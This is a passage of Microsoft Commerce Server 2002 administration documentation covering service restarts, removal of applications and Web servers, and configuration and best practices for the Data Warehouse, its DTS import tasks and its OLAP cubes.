Commerce Server Direct Mailer | DMLService
Commerce Server List Manager | ListManager

To apply the changes that affect these services to your site, you must restart the affected service.

To stop and restart the Predictor, Direct Mailer, or List Manager service

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type net stop <service name>
where <service name> is the name of the Commerce Server service, and then click OK.
The Commerce Server service stops.
  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type net start <service name> where <service name> is the name of the Commerce Server service, and then click OK.

    The Commerce Server service starts.

See Also

Unloading an Application from Memory

Configuring the CS Authentication Resource

Cookie Sharing

Enabling AuthFilter for the Retail Solution Site

Enabling AuthFilter for the Supplier Solution Site

Disabling AuthFilter


Deleting an Application from a Site

When you delete an application from a site, the application data in the Administration database is deleted. None of the Web server files are deleted, and none of the Internet Information Services (IIS) 5.0 settings are deleted.

Before you delete an application from a site, you must first remove any Commerce Web servers associated with the application. For instructions about removing a Web server, see Removing a Web Server from an Application.

To delete an application from a site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Applications, right-click the application you want to delete, and then click Delete.

The application configuration data is deleted from the Administration database.

See Also

Removing a Web Server from an Application

Deleting a Resource from a Site

Deleting a Site


Removing a Web Server from an Application

When you remove a Web server from an application, you are removing the Commerce Web server object from the Administration database. You are not removing Internet Information Services (IIS) 5.0 settings or Web server files.

If you remove the Web server used by Commerce Server Business Desk, Business Desk users will not be able to manage the site.

After you remove the last Web server from an application, the application still appears in Commerce Server Manager.

To remove a Web Server from an application

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Applications, expand the application from which you want to remove the Commerce Web server object, right-click the Web server object, and then click Delete.

The Commerce Web server object is removed from the application; the Web server no longer appears under the application. If necessary, you can add the same Web server, or a different one, to the application.

See Also

Adding a Web Server to an Application


Automatically Adding a Web Server

You can create a new Web server by using Microsoft Application Center 2000 to deploy the Commerce Server files to the Web server, or by manually copying Commerce Server files to the Web server instead of using Commerce Server Site Packager. Commerce Server Solution Sites include code in global.asa that enables a Web server to be added to an application automatically.

When the Commerce Server application first starts on the new Web server (for example, a user connects to the Web server or gets load-balanced to it), and global.asa starts, the Web server is added automatically to the Administration database. The Web server reads from the Administration database the properties it needs for the site.

After it is added, the Web server is shown in the Commerce Server Manager so you can manage it.


Adding a Non-Commerce Application to a Site

You can use Commerce Server Manager to add an application that does not use Commerce Server components. The purpose of adding a non-Commerce application is so you can make the Web server log files associated with the application available to the Data Warehouse for import.

To add a non-Commerce application to a site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Click Applications, right-click Applications, and then click Add Non-Commerce Application.
  3. In the New Non-Commerce Application dialog box, on the General tab, do the following:
    Use this | To do this
    Web servers in this application are running IIS Select this option if the servers in the non-Commerce application are running Internet Information Services (IIS) 5.0.

    You cannot have both IIS and non-IIS servers in a non-Commerce application.
    Nonsecure host name Type the Domain Name System (DNS) domain name that non-secured links in the application use.

    Caution

    • If you are using a port number other than 80, you must append that number to the end of the server name (for example, www.microsoft.com:81). To view or edit the port number, see the TCP Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.
    IIS application path or Application path | Type the path to the application.
    Enable HTTPS | Select this property if secured links are used in the application.
    Secure host name Type the DNS domain name that secured links in the application use.

    Caution

    • If you are using a port number other than 443, you must append that number to the end of the server name (for example, www.microsoft.com:441). To view or edit the SSL port number, see the SSL Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.
  4. On the Web Servers tab, do the following:
    Use this | To do this
    IIS Web site | Type the name of the IIS Web site (for example, Default Web Site).
    Local domain | Type the name of the local domain (for example, microsoft.com).
    Synchronize the log file name and location | Clear this property so Log file directory on the Log Files tab in the Web Server Properties dialog box is not overwritten with the value in IIS. This box is selected by default.
  5. Click OK.

See Also

Adding a Non-Commerce Web Server to an Application

Configuring a Web Server

Securing Your Site

Enabling SSL on a Commerce Server Site


Adding a Non-Commerce Web Server to an Application

You can use Commerce Server Manager to add a Web server that does not use Commerce Server components. The purpose of adding a non-Commerce Web server is so you can make the Web server log files available to the Data Warehouse for import.

Notes

  • When the Web servers in this application are running IIS box in the Application Properties dialog box is selected, you can only use the property New log file period or Log file mask; you cannot use both properties.
  • If the Synchronize the log file name and location box in the Application Properties dialog box is selected, the value in Log file directory in the Web Server Properties dialog box is overwritten with the value in IIS.
  • The Synchronize Values button is only activated when Web servers in the application are using IIS option is selected on the General tab in the Applications Properties dialog box, and you have made changes using the IIS user interface. You can then use the Synchronize Values button to synchronize Commerce Server Manager with IIS.

To add a non-Commerce Web server to an application

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Applications, click the name of the non-Commerce application to which you want to add the Web server, right-click it, point to New, and then click Add Non-Commerce Web Server.
  3. In the New Non-Commerce Web Server dialog box, on the Identities tab, type the name of the computer that hosts the non-Commerce Web server.
  4. In the Identities box, click Add.
  5. In the Web Site Configuration dialog box, type the IP address, TCP port, and Host header name for the non-Commerce Web server, and then click OK.
  6. If you are using a secure HTTP host (SSL) in your applications, in the SSL Identities box, click Add.
  7. In the Web Site Configuration dialog box, type the IP address and SSL port for the non-Commerce Web server, and then click OK.
  8. In the New Non-Commerce Web Server dialog box, on the Log Files tab, do the following:
    Use this | To do this
    New Log Time Period | This box is only populated if you are using IIS.
    Log file mask | If needed, specify a custom log file rotation, indicating how long the IIS Web site writes to a log file before it creates a new file. For more information, including examples of what to type in this box, see Specifying a Web Server Log File Mask.
    Log file directory | Type the log file path to which the Web site writes events (for example, C:\Winnt\System32\LogFiles\Log1). You may want to specify a directory to which you copy the Web log files from the Web server to a central location before you run the import DTS tasks.
    Log file code page | This box displays the code page used by the entire file.
    URL encoding code page | This box displays the code page used for all URLs.
  9. Click OK.

See Also

Adding a Non-Commerce Application to a Site

Specifying a Web Server Log File Mask

Securing your IIS Log File Folder

Enabling SSL on a Commerce Server Site


Running the Data Warehouse

You use the Commerce Server Data Warehouse to import, transform, and store Web site data. You import data into your Data Warehouse from Web log files, Commerce Server databases, and other data sources that you specify. After the data is imported, you can analyze it by running reports from Commerce Server Business Desk, or by viewing population segments.

The Data Warehouse database is added to Microsoft SQL Server when you unpack a site. You use Commerce Server Data Transformation Services (DTS) tasks to import and manage the data.

For important information about securing the Data Warehouse, changing connection strings, and assigning Business Desk users permissions to run reports, see Securing the Data Warehouse and Securing Reports.

This section contains:

  • Workflow for Running DTS Tasks. Illustrates the order in which you must run the Commerce Server DTS tasks to import and transform data in the Data Warehouse.
  • About the Data Warehouse. Describes the Data Warehouse and the types of data it contains.
  • Multiple Sites and One Data Warehouse. Describes the multi-site configurations the Data Warehouse supports.
  • Extending the Data Warehouse Database. Describes how you can extend the Data Warehouse to import new transaction, profile, and catalog properties.
  • Best Practices for the Data Warehouse. Describes recommendations for deploying, configuring, managing, and maintaining the Data Warehouse.
  • Extract, Transform, and Load Processes for DTS Tasks. Describes how data is extracted from specific data sources, and then transformed using rules, algorithms, concatenations, or other conversion types. Describes how the data is loaded into the Data Warehouse.
  • Creating New Data Warehouse Filegroups. Describes how you can use SQL Server filegroups to manage Commerce Server Data Warehouse database files.
  • Running the Configuration Synchronization DTS Task. Explains how to synchronize site configuration with the Data Warehouse so that any changes you make to the application are propagated to the Data Warehouse.
  • Importing Data into the Data Warehouse. Explains how to import Web log file, catalog, campaign, user profile, and transaction data into the Data Warehouse.
  • Running the Model Builder DTS Task. Explains how to create analysis models based on data in the Data Warehouse.
  • Running the IP Resolution DTS Task. Explains how to resolve Internet Protocol (IP) addresses, and describes what occurs when you perform IP resolution.
  • Deleting Data from the Data Warehouse. Explains how to delete data from the Data Warehouse.
  • Running the Report Preparation DTS Task. Explains how to use the Report preparation DTS task, and describes its role in loading data used in reports into OLAP cubes.
  • Enabling Drillthrough in Dynamic Reports. Explains how to enable drillthrough for cubes used in dynamic OLAP reports.
  • Running the Report Caching DTS Task. Explains how to use the Report caching DTS task to increase the processing speed of dynamic reports run from Business Desk.
  • Checking for DTS Task Execution Errors. Explains how to use Task History to view the status of executed tasks.
  • Creating and Scheduling a Multi-task Package. Explains how to use a SQL Server package and workflow instructions, and SQL Server Scheduler to automate importing data into the Data Warehouse.
  • Moving the Data Warehouse. Explains how to move the Data Warehouse and the Analysis databases to new computers.
  • Scripting DTS Tasks. Lists the scripts needed to automate the processing of DTS tasks.


Workflow for Running DTS Tasks

You run the DTS import tasks in sequence so fact data is imported first, and then dimension data.

The following figure shows the order in which you must run the Commerce Server DTS tasks to import and transform data in the Data Warehouse.

Notes

  • You can manually configure the Commerce Server DTS tasks to import data, or you can use the Data Warehouse Import Wizard. For more information about the wizard, see Data Warehouse Import Wizard.
  • Always run the DTS tasks in sequence. Never run two DTS tasks (or multiple instances of one task) at the same time against the same Data Warehouse.

    If two DTS tasks run at the same time, the data in the Data Warehouse will be corrupted.

See Also

Best Practices for the Data Warehouse

Extract, Transform, and Load Processes for DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema

Data Warehouse, Analysis, and OLE DB Provider

Securing the Data Warehouse

Securing Reports

Multiple Sites and One Data Warehouse


About the Data Warehouse

You use the Commerce Server Data Warehouse to import, transform, and store Web site data. You use the data stored in the Data Warehouse to analyze user activity on your Web site. Commerce Server 2002 Enterprise Edition provides several business analytic features — such as reports, segment viewer, and affinity lists — in Commerce Server Business Desk.

These reports show data from the Data Warehouse formatted in various ways to answer specific business questions about your Web site.

You can perform the following tasks using the Data Warehouse:

  • Import Web log file, user profile, campaign, transaction, and catalog data from your Commerce Server site. You can also import data from other data stores, such as non-Commerce Server Web servers.
  • Resolve Internet Protocol (IP) addresses imported for client hosts that have connected to your site for use in custom reports.
  • Prepare the data in your Data Warehouse for analysis by populating the online analytical processing (OLAP) cubes, which organize the data for retrieval during report execution.
  • Delete imported log file data to reduce the amount of storage space within the SQL Server database required by Commerce Server.
  • Delete all data from the Data Warehouse to remove existing test or archived data.
  • Automatically rebuild analysis models to show current data for prediction, and archive existing analysis models.

The Data Warehouse uses Data Transformation Services (DTS) tasks and OLAP cubes to extract, transform, and load (ETL) data. For detailed information about the ETL process performed by each task, see Extract, Transform, and Load Processes for DTS Tasks.

This section contains:

  • Commerce Server DTS Tasks
  • Data Warehouse Storage Engine
  • OLAP Cubes


Commerce Server DTS Tasks

You use Commerce Server Data Transformation Services (DTS) tasks to import and change data in the Data Warehouse. The Commerce Server tasks are loaded into SQL Server when you unpack a site. You add the Commerce Server tasks to a SQL Server package and then run that package to make changes to the Data Warehouse. For detailed information about how the DTS tasks work, see Extract, Transform, and Load Process for DTS Tasks.

You can manually configure the Commerce Server DTS tasks to import data, or you can use the Data Warehouse Import Wizard. For more information about the wizard, see Data Warehouse Import Wizard.

The following table lists the tasks that Commerce Server provides for the Data Warehouse. The tasks are listed in the order in which they must be run.

DTS task | Description
Configuration synchronization | Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings. If the site configuration changes, this task should be performed before any other task.
Web server log import Imports Web log file data generated by your Web site. Web log file data is obtained when users visit your site and click links to site pages. The data includes the length of time a user spent visiting your site, the referring site, ad clicks, ad reach, click frequency, and the "path" the user takes through the site, including entry and exit pages.

You use the Web server log import task to provide information about what log file to import and where it is located. The Web log files must be in the World Wide Web Consortium (W3C) extended Web log file format.
Transaction data import | Defines and imports transaction data. Transaction data is created on your Web site when a user adds and removes items from a shopping cart, or makes a purchase. You can run reports to analyze transaction data.
Product catalog import | Imports product data from your catalogs. Importing product data provides your transaction reports with more descriptive product information than is available in transaction data. You can also run reports to analyze the sale of products.
Profile data import Imports the four types of profile data that Commerce Server collects when users visit your Web site:
  • User profile data
  • Organization profile data
  • Generic profile data
  • Site terms
Campaign data import | Imports data about campaigns. You use campaign data to analyze the success of your campaigns. You use the Campaign module in Commerce Server Business Desk to set up and run campaigns.
Data deletion | Deletes data from the Data Warehouse. You can select to delete detailed log file data for a specified site, or for all of the sites in the Data Warehouse. You can also select to delete all data (detailed and summarized) in the Data Warehouse.
Model Builder | Rebuilds prediction and segment analysis models. Archives existing models or overwrites them.
IP resolution | Resolves Internet Protocol (IP) addresses from the imported user data. IP resolution converts IP addresses, imported from your log files, into domain names. For example, 198.105.232.4 becomes www.microsoft.com. This helps readers of your reports understand the data in the reports more easily.
Report preparation | Prepares data for OLAP cube processing and SQL reporting, and refreshes the cubes after a deletion. This task must be performed after every import and delete task.
Report caching | Pre-executes dynamic OLAP reports stored in the SQL Data Warehouse to get the query results cached on the Analysis server. When this is done, subsequent execution of the reports can be two orders of magnitude faster than the original report execution.

You can also use scripts to run the Commerce Server DTS tasks. For more information about using scripts to run the Commerce Server DTS tasks, see Scripting DTS Tasks.

In addition to using the Commerce Server DTS tasks to import Commerce Server data into the Data Warehouse, you can extend the logical schema and the functionality of the Data Warehouse to import custom data.

For information about extending the logical schema of the Data Warehouse and importing custom data into the Data Warehouse, see Extending the Data Warehouse.

For information about creating new DTS tasks, see SQL Server Books Online.

See Also

Extract, Transform, and Load Process for DTS Tasks

Data Warehouse Import Wizard

Scripting DTS Tasks

Configuring the Default Web Site Properties for Import

Configuring the Web Server Log Import DTS Task

Adding a Non-Commerce Application to a Site

Adding a Non-Commerce Web Server to an Application


Data Warehouse Storage Engine

The Data Warehouse storage engine provides the following storage processes for loading data into the Data Warehouse:

  • Summarization
  • Schema Management
  • Data Loading

Summarization

You use summarization to summarize user, campaign, transaction, and catalog data from the Commerce Server database when you run the Web server log import DTS task and the Report preparation DTS task. Summarizations transform raw data in the Commerce Server database into information in the Data Warehouse that you use to analyze user activity on your Web site. This is done by totaling and counting the related raw data.

For example, 1,000 records of single hits on a particular page, on a particular day, are summarized into the information that the page had 1,000 hits on that day. You can use this information to make decisions that will increase traffic on your Web site.

Schema Management

You use schema management to modify the Data Warehouse schema as needed during the import process. For example, if you add a new property to the User Object profile definition and mark it as exported, the Profile data import DTS task adds a new column to the Data Warehouse schema when user profile data containing that property is imported.

The following table lists the import process and describes the schema changes the Data Warehouse storage engine makes to the Data Warehouse schema.

Import process | Data Warehouse schema change
Web log file | Query strings are added to the schema.
Profile | Profile properties are added to or removed from the schema.
Product catalog | Product catalog dimensions are added to or removed from the schema.

Data Loading

You use data loading to support the loading of high volumes of data into the Data Warehouse, using parallel reads and writes. The storage engine performs writes, high-speed parallel foreign key lookups, surrogate key generation, logical to physical mapping, and with the SQL Server Bulk Copy Program (BCP), high-speed parallel bulk copies.

See Also

Configuring the Default Web Site Properties for Import

Configuring the Web Server Log Import DTS Task

Adding a Non-Commerce Application to a Site


OLAP Cubes

Online analytical processing (OLAP) cubes are data structures that the Data Warehouse uses to contain the data you import. The cubes divide the data into subsets, defined by shared dimensions.

A dimension is the descriptive attribute of a measure. For example, a dimension might describe the number of transactions on your site. The number of transactions is a measure. The transaction and the products purchased are dimensions. The following figure shows the relationship between dimensions and measures.

Dimensions and measures.

The OLAP cubes used by Commerce Server are created during the unpacking process and are populated and processed for data retrieval when the Report preparation DTS task is run. Storing data in cubes increases the speed of data retrieval when you run Web site analysis reports in Business Desk. The following table lists the Commerce Server cubes and dimensions.

Cube | Dimensions
mscsCampaign | Advertiser DateHour Events Page Group Site UserType
mscsCampaignEvents | Advertiser DateHour Events Page Group Site UserType
mscsOrderedImpressions | Advertiser Site
mscsSales | Date ProductCategory Site UserType Address Currency
Basket Events | DateHour Events Site UserType Product Category
OrderEvents | DateHour Day of Week Events Hour of Day Site UserType Week of Year
Buyer Visits | BuyerType Site UserType
Bandwidth | DateHour Day of Week Hour of Day Site
Entry Pages | Date Site URI
Exit Pages | Date Site URI
mscsWebUsage | Date DateHour Day of Week Hour by Day Referrer UserType Week of Year
mscsVisitInfo | Date DateHour Day of Week Hour by Day Referrer UserType Week of Year
Page Usage | Date HTTP Status Is Request Level Directory Site URI Win32Status

For more information about OLAP cubes, see SQL Server Books Online.

See Also

Configuring the Default Web Site Properties for Import

Configuring the Web Server Log Import DTS Task

Adding a Non-Commerce Application to a Site


Multiple Sites and One Data Warehouse

A single Commerce Server Data Warehouse can store data from up to ten sites. You can use the Commerce Server DTS tasks to perform actions for a particular site or for all sites in the Data Warehouse.

Microsoft Internet Information Services (IIS) supports multiple virtual servers (that is, Default Web Site) on a single physical server. Each of these virtual servers produces one log file. You associate the log files with a Data Warehouse site when you configure the Web server log import DTS task. For more information, see Configuring the Web Server Log Import DTS Task.

The Data Warehouse supports the following multiple site scenarios:

  • Import Web server log files for multiple sites using different log files.
  • Import Web server log files for multiple sites with each site having the same server name, but using a different port.
  • Import Web server log files for multiple sites with each site having a different host header.
  • Share resources and databases across sites. For a list of Commerce Server resources that can be shared across multiple sites, see Sharing Resources Across Sites.

    For example, if you have two sites, "My Clothes" and "Baby Clothes," they might share the Profiles resource.

  • Share one Data Warehouse for multiple sites that are in different time zones and have their own online resources.

Issues

Note the following issues when using one Data Warehouse for multiple sites:

  • When running the Transaction data import DTS task on a Data Warehouse that contains data for multiple Web Sites, ensure that classes extended by more than one Web site have uniquely named members if their data types are not the same. If a new member is added to a class in multiple Web sites and the datatype of the new members is not the same, a failure may occur or data may be incorrectly converted when the Transaction data import DTS task is run.
  • If one Data Warehouse is supporting multiple sites, the names of the catalogs you are importing data for must be unique.

    If there are two sites that have the same catalog name and the same products, but the catalog properties and product definitions are different, then the data in the catalog that is imported first will be overwritten when data for the second catalog is imported.

  • If the Profiles resource is shared by multiple sites in the Data Warehouse, on certain reports individual users will appear to belong to each site sharing the Profile resource. As a result, the grand totals in the reports will be inflated since users will be counted once for each site sharing the Profiles resource in which they are registered.

    The following reports are affected:

    • Registered Users by Date Registered (dynamic SQL)
    • User Days to Register (dynamic SQL)
    • User Registration Rate (dynamic SQL)

    If the Profiles resource is shared across sites, then disable or ignore the grand totals in these reports.

See Also

Securing the Data Warehouse

Securing Reports


Extending the Data Warehouse Database

The Data Warehouse import functions are designed to import data based on Commerce Server default settings. The method you use to extend the Data Warehouse database to accommodate importing new data depends on the type of data you want to import. For example, if you are adding user profile properties or product catalog properties, you can set the Export attribute in the Profile Definition Designer and the Store data for analysis attribute in the Catalog Definition Designer to tell the Data Warehouse to make the schema change required to accept the new data. Additionally, you can use custom attributes to designate the table and row in the Data Warehouse in which the data should be stored. Reusing existing columns in the Data Warehouse will present that data in an existing report. You can also import data into new tables and columns. If you import data into new columns, you will need to create new reports for that data.

If you want to import other types of data into the Data Warehouse, you will need to physically extend the Data Warehouse. For example, you would extend the Data Warehouse to import sales data from your brick-and-mortar store. Additionally, you would create a custom report to report on the new data that enables you to analyze both online sales and brick-and-mortar sales.

The following table describes the ways in which you can extend the Data Warehouse to accommodate new data.

Import data type Data Warehouse extension method
New profile property Select the Export attribute for the property in the profile definition. The Profile data import DTS task will automatically extend the schema of the Data Warehouse database to accommodate the new profile property.

Alternatively, you can use custom attributes in the profile definition to designate a specific column in a specific table in the Data Warehouse in which the data will be stored. If you store the data in an existing column, the data will be included in an existing report. If you choose to store the data in a new column, the Data Warehouse will create the column during the import process, and you will need to create a new report to report on the data.

For information about extending the Data Warehouse to import profile properties, see Selecting Profile Properties for Import.

For information about designating an existing Data Warehouse column in which the imported profile data will be stored, see Mapping Profile Properties to Columns in the RegisteredUser Table.

For information about designating a new Data Warehouse column in which the profile data will be stored, see Customizing the Name of the Data Warehouse Column for a Profile Property.
New transaction property Use the TransDimension table in the Commerce database to select which transaction properties are imported into the Data Warehouse. The Transaction data import DTS task will automatically extend the schema of the Data Warehouse database to accommodate the new transaction property.

Note

  • Do not delete the default records from the TransDimension table. This action is untested and the resulting behavior is unknown. Only add new records to this table, and only delete those new records from this table.

For information about extending the Data Warehouse to import transaction properties, see Selecting Transaction Properties for Import.
New catalog property Select the Store data for analysis attribute for the property in the catalog definition. The Product catalog import DTS task will automatically extend the schema of the Data Warehouse database to accommodate the new catalog property.

For information about extending the Data Warehouse to import catalog properties, see Selecting Catalog Properties for Import.

For more information about extending the Data Warehouse, see Extending the Data Warehouse. In addition, see the white paper "Extending the Commerce Server Data Warehouse / Analytics," located at the Development page on the Commerce Server Web site http://go.microsoft.com/fwlink/?LinkId=945. For samples that show how to extend the Data Warehouse, see Business Analytics Samples.

For information about the sample profile definitions included with Commerce Server, see Sample Profile Definitions.


Best Practices for the Data Warehouse

This topic lists the best practices for the deploying, configuring, importing, and maintaining the Data Warehouse.

This section contains:

  • Deployment Best Practices
  • Configuration Best Practices
  • Import Best Practices
  • Maintenance Best Practices


Deployment Best Practices

  • For optimum performance, deploy the Data Warehouse onto three computers, and Business Desk onto a fourth computer.
    Computer Software
    Requirements     		Hardware
    (Large sites)     		Hardware
    (Medium sites)
    1. Log import Commerce Server 2002
    Data Warehouse resource (unpack)
    Analysis Services client tools     		8 processors
    4GB RAM
    200 GB disk space (minimum)     		4 processors
    4GB RAM
    100GB disk space
    2. Data Warehouse SQL Server 2000
    SQL Server Client Tools
    Commerce Server 2002
    Data Warehouse resource (unpack)     		8 processors
    4GB RAM
    200 GB disk space (minimum)     		4 processors
    4GB RAM
    100GB disk space
    3. Analysis Server Analysis Server
    Commerce Server
    Data Warehouse resource (unpack)     		4 processors
    4GB RAM
    100GB or larger hard drive for the OLAP database     		4 processors
    4GB RAM
    100GB or larger hard drive for the OLAP database

    Analysis Services must be installed on any computer onto which you unpackage the Data Warehouse resource. After you unpackage the resource, you can remove Analysis Services. For example, you can install Analysis Services on the computer on which you are running Commerce Server Site Packager, but you can unpackage the Data Warehouse resource to another computer. When the unpackaging process is complete, you can uninstall Analysis Services from the computer on which you were running Site Packager.

    Analysis Services client tools must be installed on the computer running the DTS import tasks.

  • On the Analysis Server, set Page file size to 10GB for large-scale data.

    This configuration enables Analysis Server to accommodate a large committed virtual address space when processing large cubes. Analysis Server caches all dimension data in memory.

    To set the Windows 2000 paging file size

    1. On your desktop, right-click My Computer, and then click Properties.
    2. In the System Properties dialog box, on the Advanced tab, in the Performance section, click Performance Options.
    3. In the Performance Options dialog box, in the Application response section, verify that Background services is selected.
    4. In the Virtual memory section, click Change.
    5. In the Virtual Memory dialog box, in the Paging file size for selected drive section, in the Maximum size (MB) box, type 1000, and then click Set.
    6. Click OK three times to close all dialog boxes.
  • Deploy the Data Warehouse database, the transaction log file, and the page file onto different drives.

    This configuration improves data throughout by enabling simultaneous access to the physical device.

  • Use the Filegroups feature of SQL Server to simplify maintenance and improve performance.

    The Filegroups feature helps you balance data load across multiple disks, and use parallel threads to improve data access. If your hardware is I/O bound, you may want to use the Filegroups feature in SQL Server. To determine whether your hardware is I/O bound, see "Physical Disk performance counters" in Windows 2000 Help.

    For example, you can separate the Request, Visit, and VisitInfo tables into three different file groups. (Separate LogUser/URI into a separate file group if these dimensions are large). Put aggregates in separate file groups. For information about file groups, see Creating New Data Warehouse File Groups.

  • To prevent "out of memory" errors in the Data Warehouse event log, specify a 3 GB switch in the Windows 2000 Boot.ini file on the computer hosting the Data Warehouse (SQL Server), and the computer hosting Analysis Server.

    If you are running a large site, you will receive "out of memory" errors if the Web server log import process runs out of virtual memory. To avoid this error, enable the 3 GB switch in the Boot.ini file in Windows 2000.

    Enabling the 3 GB switch requires two steps:

    1. Modify the Boot.ini file. For more information about the 3 GB switch, see Windows 2000 Advanced Server Help.
    2. Modify the executable running the log import DLL. Depending on how you import data into the Data Warehouse, you must modify the appropriate executable file.

    For instructions, see Running the Web Server Log Import DTS Task for a Large Site.

    In addition, for Analysis Services, increase the Process Buffer Size from the default value. For example, set the buffer size to 2 GB and allocate 4 GB of physical memory.

  • Set the file size of the Data Warehouse database to improve import performance.
Automatically growing the database file significantly reduces Data Warehouse import performance. Increasing the size of the database will help to reduce the overhead of expanding the database at runtime. You can calculate the size of the Data Warehouse database by dividing the total log file size by 2. Using a fixed size for the database instead of growing the file will prevent the significant reduction of import performance caused by growing the database file.

To disable automatic file growth

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the Data Warehouse database, and then click Properties.
  3. In the <database> Properties dialog box, on the Data Files tab, in the Maximum file size section, select Restrict file growth (MB), in the Restrict file growth (MB) box, type the maximum size of the database, and then click OK.
If you want to use the SQL Server automatic file growth feature, set the size of the Data Warehouse database to expand to a particular size, instead of by a percentage. Setting the maximum size of a database to a particular size instead of to a percent will allow you to manage the size of the database and disk capacity more closely.

To set the file growth parameters of the Data Warehouse database

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the Data Warehouse database, and click Properties.
  3. In the <database> Properties dialog box, on the Data Files tab, in the Maximum file size section, select Restrict file growth (MB), in the Restrict file growth (MB) box, type the maximum size of the database, and then click OK.
  • Use only the default instance of SQL Server on the production server.
To improve performance, do not run multiple instances of SQL Server on the production server.
  • Set the environment variable "StoreClientIP" to True only if you do not have any reporting needs for IP addresses.

    To set StoreClientIP

    1. On your desktop, right-click My Computer, and then click Properties.
    2. In the System Properties dialog box, on the Advanced tab, click Environment Variables.
    3. In the Environment Variables dialog box, in the User variables section, click New.
    4. In the New User Variable dialog box, do the following:
      Use this | To do this
      Variable Name | Type StoreClientIP.
      Variable Value | Type True.
    5. Click OK.

    Existing processes that are running while you are resetting a new environment variable do not update the extant executing processes.

  • Set the UseExternalReferrerForInference environmental variable to false to use timeouts only to close open user visits while importing.
Commerce Server infers individual visits to a site with a combination of the referrer domain from which a user visits a site and a configurable timeout value for the visit (the default value is 30 minutes), after which Commerce Server considers the visit ended. Other Log Analysis products use only a 30-minute timeout to calculate visits. Set the UseExternalReferrerForInference environmental variable to False to use only 30-minute timeouts to calculate visits.
In Commerce Server, the internal referrer is a combination of the Nonsecure host name property and the IIS application path property. During log processing, for each line of the log, the referrer field of the W3C log file (cs(referrer)) will contain a URI. Commerce Server will match the prefix of the W3C referrer field against the internal referrer. If they do not match, Commerce Server considers the hit referred by an external site, and the current user visit ended.

To set the UseExternalReferrerForInference environmental variable to false

  1. Right-click My Computer and click Properties.
  2. In the System Properties dialog box, on the Advanced tab, click Environment Variables.
  3. In the Environment Variables dialog box, in the System variables section, click New.
  4. In the New System Variable dialog box, do the following:
    Use this | To do this
    Variable Name | Type UseExternalReferrerForInference.
    Variable Value | Type F.
  5. Click OK three times to close all of the dialog boxes.
  • Failure to configure Commerce Server to recognize all internal domains for a site can result in an artificially high visit count.
Commerce Server infers individual visits to a site with a combination of the referrer domain from which a user visits a site and a configurable timeout value (the default value is 30 minutes). If you do not configure Commerce Server to recognize all internal domains for a site, Commerce Server considers the domains you do not configure as internal as external referrers and uses them to calculate new visits.
Setting the value of the UseExternalReferrerForInference environment variable to F (false) will turn off external referrer checking when calculating visits.
If you invoke the Web Log Import process from a command line, you can use the following statement to set the UseExternalReferrerForInference environment variable to false for that command shell and turn off external referrer checking when calculating visits:
   set UseExternalReferrerForInference=F
You can set the UseExternalReferrerForInference environment variable to true (T) and Commerce Server Web Log Import will use external referrer checking again.


Configuration Best Practices

  • If you have multiple applications and log files, use a script to configure the Web server log import DTS task instead of using the user interface.

    For instructions, see Scripting the Web Server Log Import DTS Task.

  • When you change your site configuration settings, run the Configuration synchronization DTS task.

    You use the Configuration synchronization DTS task to import the site configuration data from the Administration database into the Data Warehouse. This differs from the Synchronize Values button on the Application Properties dialog box. When you click this button, Commerce Server reads the values from the Internet Information Services (IIS) metabase to the Administration database, and then from the Administration database to the Data Warehouse. For more information, see Configuring an Application.

    For performance purposes, the Data Warehouse stores the site configuration data, which includes site topology settings, instead of reading it from the Administration database each time it is needed.

    You can choose to synchronize the Data Warehouse with a single site or with all of the sites associated with the Data Warehouse. You must run the synchronize task before you run any DTS tasks that import or delete data. For instructions on running the Configuration synchronization DTS task, see Running the Configuration Synchronization DTS Task.

  • For the Profile data import DTS task, review the default value of the Query Interval property and the Import Start Date property.

    The Query Interval property controls how many import queries are sent to the online data source to retrieve data. The query interval is used to split the time between the time you last ran the Profile data import task and now into a number of intervals. The default value is 15 minutes. This means that the DTS task imports 15 minutes worth of data at a time, locking fewer records in the data source.

    Setting a smaller value will lock a smaller portion of the table but will increase the number of queries against the table and therefore the time the task takes to run. Setting the value to zero will run a single query, locking a significant portion of the table for the entire duration of the import and may degrade site performance.

    The Import Start Date property determines the starting date of import. By default, it is set to the current date. The first time you run the task you may need to change this value.

    If the Profile data import task is configured to run in incremental mode, the time the last run completed is used as the starting time for the next import. If the Profile data import task is configured to run in bulk mode, the value of the Import Start Date property is used as the starting time.

  • If user profile data is stored in an Oracle database, you must set the Date format environment variable before running the Profile data import task.

    Oracle uses a different date format than SQL Server. Set the Date format variable as follows:

    Set NLS_DATE_FORMAT = MM/DD/YYYY HH24:MI:SS
  • Review the default value of the FirstDayOfWeek property in your language version of SQL Server to determine the start day of the week for reports.

    For weekly aggregations of analysis reports, Commerce Server uses the default first day of the week for the given language version of the SQL Server product used. For the U.S. English version of SQL Server, the default first day of the week is Sunday.

    Analysis reports do not use the Start day of the week property specified in the Commerce Server Manager.

  • If you change the sa password for the SQL Server that hosts the Data Warehouse database, you must recreate the Transaction data import DTS task and the Product catalog import DTS task.

    These DTS tasks persist the sa password in them.

  • Always accept the default IIS option to log data in Greenwich time, which is the W3C standard.

    The Web server log import DTS task assumes that the data to be imported is in Greenwich time and processes the translation accordingly. Never select the IIS option to log data in local time, as that can cause problems with using the Date/Time Range property to import Web server log files.

    If you configure the Web server log import DTS task to import log files based on the Date/Time Range property, specify the date/time in Greenwich time.

  • Set the IncrementalOverlap value to the difference in time zones plus two hours

    When performing incremental imports, the Transaction data import and Profile data import DTS tasks use the last modified date field in the run time tables to detect when a record has been changed and needs to be imported into the Data Warehouse. As this field is a date/time value written by applications, the time zones and clocks of the systems writing the value may not be synchronized. This can lead to variations in the last modified date field that can potentially cause records to be skipped during the import process.

